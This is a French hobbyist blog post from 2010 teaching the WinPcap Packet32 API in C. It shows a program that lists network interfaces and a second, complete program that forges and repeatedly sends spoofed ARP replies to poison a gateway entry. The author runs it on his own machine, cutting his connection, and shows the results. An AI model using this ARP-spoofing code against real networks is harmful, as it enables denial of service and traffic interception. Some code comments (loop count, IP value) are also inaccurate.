mercredi 24 février 2010

Joujou avec winpcap

Salut salut,

On va essayer de reprendre un rythme "normal", c'est-à-dire poster de temps en temps, et des posts intéressants de surcroit.

Ces temps-ci, j'ai peu de temps pour m'attarder sur un sujet bien précis. Donc on va parler vite fait de la lib winpcap et on va jouer un peu avec. Le site officiel du projet se trouve à l'adresse http://www.winpcap.org. Vous pouvez télécharger plusieurs trucs intéressants :


Décompressez les deux archives dans deux endroits distincts. Dans la première archive - c'est-à-dire celle contenant les fichiers pour développer - vous avez les fichiers d'en-tête à utiliser (les ".h" donc) et les fichiers lib à lier lors de la compilation + édition de lien.

Première étape : lister les interfaces disponibles (pour le fun)



Votre ordinateur possède ce qu'on appelle des interfaces réseau. Si vous avez WireShark ou un logiciel de capture de trames réseau, vous pouvez les connaître facilement. Un screenshot de mon résultat :

Nom de mes interfaces réseau


Y'en a une, je sais pas trop à quoi elle sert. Les deux autres sont, respectivement, ma clé USB Wifi et ma carte ethernet. Ma carte Wifi est morte, pour les curieux. Triste affaire.

Mais ici, on a le label, et on n'a pas spécifiquement besoin de ces informations-là. On cherche, en fait, le chemin du pilote ou adaptateur, il commence par "\Device\...".

La lib winpcap fournit une panoplie de fonctions pour gérer les packets sans se prendre la tête. En fait, à la base, je voulais tripper avec les raw sockets et protocole ARP mais on peut aller se faire douiller bien profond quand on tourne sous Windows XP. L'autre solution est d'aller sur Linux en mode root, mais je voulais trouver un moyen sous Windows quitte à plonger dans le noyau s'il le fallait. (Pour info, y'a l'article trip in da tcp/ip d'Ivanlef0u qui vaut vraiment le coup d'œil)

La fonction qui va nous permettre de récupérer les interfaces n'est autre que PacketGetAdapterNames(). Son prototype est le suivant :

#include "Packet32.h"

BOOLEAN PacketGetAdapterNames(PTSTR pStr,PULONG BufferSize);


Comme on l'aura compris, le premier argument est un pointeur vers une mémoire tampon destinée à recevoir une série de chaînes de type "PTSTR", donc pas forcément une chaîne se terminant par un null-byte.

En fait, la chaîne de sortie sera de la forme suivante :
[Chemin Interface 1][null-byte][Chemin Interface 2][null-byte][Chemin Interface 3][null-byte]...[Chemin Interface n][null-byte][null-byte][Libellé Interface 1][null-byte][Libellé Interface 2][null-byte][Libellé Interface 3][null-byte]...[Libellé Interface n][null-byte]

Pour récupérer l'information intéressante, c'est-à-dire le "chemin" de l'interface, de chaque interface réseau, il faudra boucler jusqu'à ce qu'on tombe sur deux null-bytes qui se suivent.

Enfin, le second argument, passé en entrée / sortie, correspond à la taille maximale de notre mémoire tampon passée en 1er argument, et aura en sortie la taille totale des données intéressantes.

Le code C ci-dessous énumère la liste des interfaces réseau.

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "packet32.h"

#define NUM_ADAPTERS 10 // Nombre max d'adaptateurs réseaux

int main()
{
// On déclare un tableau statique des chaînes de caractères
// correspondant au "chemin" des interfaces
char devices[NUM_ADAPTERS][8192];

// Chaîne correspondant à l'adaptateur courant (celui qu'on traite)
char currDevName[8192];

// On initialise la taille des données à la taille de notre mémoire
ULONG adapterLength = sizeof(currDevName);

// Appel de la fonction
PacketGetAdapterNames(currDevName, &adapterLength);

// On déclare 3 variables.
// i correspond à l'index dans currDevName
// j correspond à la sauvegarde de i lorsqu'on change d'interface
// k correspond à un indice pour s'y retrouver dans le tableau
// devices qui contiendra les chaînes de chaque interface
unsigned int i = 1, j = 0, k = 0;

// Tant qu'on n'a pas rencontré deux null-bytes et que i soit
// inférieur à la taille des données, on boucle.
while(currDevName[i] != '\0' || currDevName[i-1] != '\0'
&& i < adapterLength) {

// On a rencontré un null-byte ? On sauvegarde tout ce qu'on
// a parcouru avant le null-byte dans notre tableau
if(currDevName[i] == '\0') {
memcpy(devices[k], currDevName + j, i + 1 - j);
k++;
j = i + 1;
}
i++;
}

// Affichage de chaque interface
for(i = 0; i < k; i++) {
printf("%s\n", devices[i]);
}
return 0;
}

La source propre est colorée est disponible ici : http://venom630.free.fr/geo/blog/pcap/src1.html. Et pour ceux qui veulent le fichier projet CodeBlocks, les lib, le .h et tout le baratin compilé, http://venom630.free.fr/geo/blog/pcap/interfaces_reseau_1.rar.

Important : linkez bien le fichier Packet.lib à votre projet.

Voici le résultat que j'obtiens :

C:\[...]\c\interfaces_reseau_1\bin\Release>interfaces_reseau_1.exe
\Device\NPF_GenericDialupAdapter
\Device\NPF_{B7BB8F94-E39E-4619-BF36-A2D487560777}
\Device\NPF_{5412E0AC-22A0-4E2D-BB2B-4A7FFC945C49}


C'est déjà un bon début, dira-t-on. Maintenant, on va essayer de forger une trame à la con et la balancer sur le réseau.

Seconde étape : envoyer des packets



Pour la suite de l'article, j'utiliserai l'interface de ma clé USB Wifi, à savoir \Device\NPF_{5412E0AC-22A0-4E2D-BB2B-4A7FFC945C49}.

Pour envoyer des paquets forgés à la main avec Winpcap, il faut d'abord ouvrir l'interface via la fonction PacketOpenAdapter(), qui possède le prototype suivant :
LPADAPTER PacketOpenAdapter(PCHAR AdapterName);

La fonction prend en argument un pointeur vers le nom de notre adaptateur réseau que nous souhaitons ouvrir, et renvoie un pointeur sur une structure de type ADAPTER. On n'a pas à se soucier réellement du contenu de cette structure, et sa définition se trouve dans la documentation de Packet32.c (lien disponible en fin d'article).

Une fois notre interface ouverte, on va pouvoir s'occuper de forger un packet. Les packets, avec winpcap, sont gérés via la structure PACKET. (idem, définition disponible dans la documentation).


Pour initialiser une structure PACKET, on utilise la fonction PacketAllocatePacket() qui retourne un pointeur sur ce type de structure (elle est donc allouée dans le tas au sein de la fonction). Sa signature, tout bêtement :

LPPACKET PacketAllocatePacket(void);


Ensuite, nous allons initialiser notre packet avec une mémoire tampon correspondant, tout bonnement, aux données de notre packet. La fonction PacketInitPacket se charge de ça. Signature :

VOID PacketInitPacket(LPPACKET lpPacket,PVOID Buffer,UINT Length);


En premier argument, on fournit un pointeur sur notre structure de type PACKET. En second argument, on a les données du paquet, donc le datagramme en dur, quoi ; et en dernier argument, la taille du "Buffer" puisqu'on ne soumet pas une chaîne terminée par un octet null, mais bien un tableau de CHAR (même si Buffer est de type "PVOID", cela n'empêche rien).

Enfin, on balance notre paquet à l'interface via la fonction PacketSendPacket(). Sa signature est la suivante :

BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET pPacket,BOOLEAN Sync);


Les premiers et second arguments représentent, respectivement, un pointeur sur notre interface réseau et un pointeur sur notre packet. Le dernier argument ne nous intéresse pas, puisqu'il est généralement pris en compte dans les versions antérieures de Windows. On mettra donc TRUE.

Et pour libérer les ressources, on a PacketFreePacket() et PacketCloseAdapter(), qui ont pour prototype :

VOID PacketFreePacket(LPPACKET lpPacket);

VOID PacketCloseAdapter(LPADAPTER lpAdapter);


On a tous les éléments. On va donc faire un petit programme qui balance une réponse ARP frauduleuse à en couper la connexion. (C'est vilain, je sais)

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "packet32.h"

#define NUM_ADAPTERS 10 // A changer si besoin

int main()
{
// On déclare un tableau statique des chaînes de caractères
// correspondant au "chemin" des interfaces
char devices[NUM_ADAPTERS][8192];

// Chaîne correspondant à l'adaptateur courant (celui qu'on traite)
char currDevName[8192];

// On initialise la taille des données à la taille de notre mémoire
ULONG adapterLength = sizeof(currDevName);

// Appel de la fonction
PacketGetAdapterNames(currDevName, &adapterLength);

// On déclare 3 variables.
// i correspond à l'index dans currDevName
// j correspond à la sauvegarde de i lorsqu'on change d'interface
// k correspond à un indice pour s'y retrouver dans le tableau
// devices qui contiendra les chaînes de chaque interface
unsigned int i = 1, j = 0, k = 0;

// Tant qu'on n'a pas rencontré deux null-bytes et que i soit
// inférieur à la taille des données, on boucle.
while(currDevName[i] != '\0' || currDevName[i-1] != '\0'
&& i < adapterLength) {

// On a rencontré un null-byte ? On sauvegarde tout ce qu'on
// a parcouru avant le null-byte dans notre tableau
if(currDevName[i] == '\0') {
memcpy(devices[k], currDevName + j, i + 1 - j);
k++;
j = i + 1;
}
i++;
}

// On va ouvrir notre interface
LPADAPTER lpAdapter = NULL;
lpAdapter = PacketOpenAdapter(devices[2]); // /!\ Changer 2 par l'index de votre interface
if(lpAdapter == NULL) {
printf("Error while opening the adapter. Aborting.\n");
exit(EXIT_FAILURE);
}

// Création d'un packet facilement
LPPACKET myPacket = PacketAllocatePacket();
if(myPacket == NULL) {
printf("Error while initializing the packet. Aborting.\n");
exit(EXIT_FAILURE);
}


// Construction d'une réponse ARP frauduleuse
char buff[] =
"\x00\x17\x3f\xb7\x1e\x29" // Adresse MAC Destination (la mienne ici)
"\x00\x12\x34\x56\x78\x9a" // Adresse MAC Source (n'importe quoi)
"\x08\x06" // "Protocole ARP"
"\x00\x01" // Hardware type = Ethernet
"\x08\x00" // Protocol type = IP
"\x06" // Hardware size = 6 (une adresse MAC fait 6 octets)
"\x04" // Protocol size = 4 (une adresse ipv4 fait 4 octets)
"\x00\x02" // On envoie une réponse

"\x00\x12\x34\x56\x78\x9a" // Adesse MAC de l'envoyeur (n'importe quoi)
"\xc0\xa8\x01\x01" // Adresse IP de l'envoyeur (on fout n'importe quoi, ici, 192.168.1.1)

"\x00\x17\x3f\xb7\x1e\x29" // Adresse MAC Destination (la mienne ici)
"\xc0\xa8\x01\x0d" // Adresse IP Destination (ici, moi : 192.168.1.3)
;

int buffLen = 42;

// On initialise notre paquet
PacketInitPacket(myPacket, buff, buffLen);

// On fait une boucle à l'infini et on le balance.
for(i = 0; i < 10; i++) {
PacketSendPacket(lpAdapter, myPacket,TRUE);
printf(".\n");
// Important si vous ne voulez pas avoir de souci. ;)
Sleep(1000);
}

// On libère les ressources
PacketFreePacket(myPacket);

// On ferme l'adaptateur
PacketCloseAdapter(lpAdapter);

return 0;
}


Source propre ici : http://venom630.free.fr/geo/blog/pcap/src2.html. Et pour ceux qui veulent le fichier projet CodeBlocks, les lib, le .h et tout le baratin compilé, http://venom630.free.fr/geo/blog/pcap/interfaces_reseau_2.rar. Toutefois, vous n'aurez peut-être pas le résultat désiré, mais une chose est sûre, les trames circuleront bien sur votre 3ème interface (si vous en avez au moins 3...).

Lorsque je lance le programme, ma connexion se coupe, et j'obtiens ça sur WireShark :

Aperçu des trames balancées manuellement sur WireShark (cliquez pour agrandir)


Et voici la tronche de mon cache arp :
C:\Documents and Settings\Geoffrey>arp -a

Interface : 192.168.1.3 --- 0x10004
Adresse Internet Adresse physique Type
192.168.1.1 00-12-34-56-78-9a dynamique


J'ai très peu de chances d'accéder à Internet avec cette connerie.

Conclusion


Envoyer des trames sur le réseau s'avère, grâce à la lib winpcap, relativement facile. On peut forger nos paquets à la main et les envoyer sans se soucier de ce qui se passe derrière, bien que ça m'intéresse en fait.

A ce que j'ai vu, autant côté sources que côté exécution, c'est que, lors d'un envoi de paquet, on passe par WriteFile() et DeviceIoControl() pour envoyer un paquet. Ca devient intéressant. Peut-être ferai-je une analyse de tout ça, qui sait ?

Autre truc qui peut être marrant : encapsulet la lib Packet en C++ de sorte à ne pas se prendre la tête lors de l'extraction du nom des interfaces réseau. Si quelqu'un a déjà fait ça, qu'il m'en fasse part par commentaire.

Références



Doc de Packet32.c : http://dog.tele.jp/winpcap/html/Packet32_8c.html

Site officiel de WireShark : http://www.wireshark.org/

Sniffer TCP with Raw Sockets, bon article de lilxam

Tutoriel : Man In The Middle par Heurs

Geo

2 commentaires:

  1. Entièrement d'accord avec toi !

    RépondreSupprimer
  2. T'as que ça à faire, petit chenapan ?!

    Merci pour ton soutien, je me sens moins seul.

    RépondreSupprimer